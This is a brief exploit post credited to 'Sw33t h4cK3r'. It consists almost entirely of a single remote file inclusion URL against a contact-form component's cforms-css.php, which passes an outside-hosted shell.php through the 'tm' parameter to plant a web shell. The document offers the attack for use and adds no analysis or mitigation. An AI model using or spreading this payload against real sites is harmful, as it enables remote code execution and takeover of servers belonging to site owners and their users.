Discovery by: Sw33t h4cK3r
Exploit :
http://Example.com/contactforms/cforms-css.php?tm=http://site.com/shell.php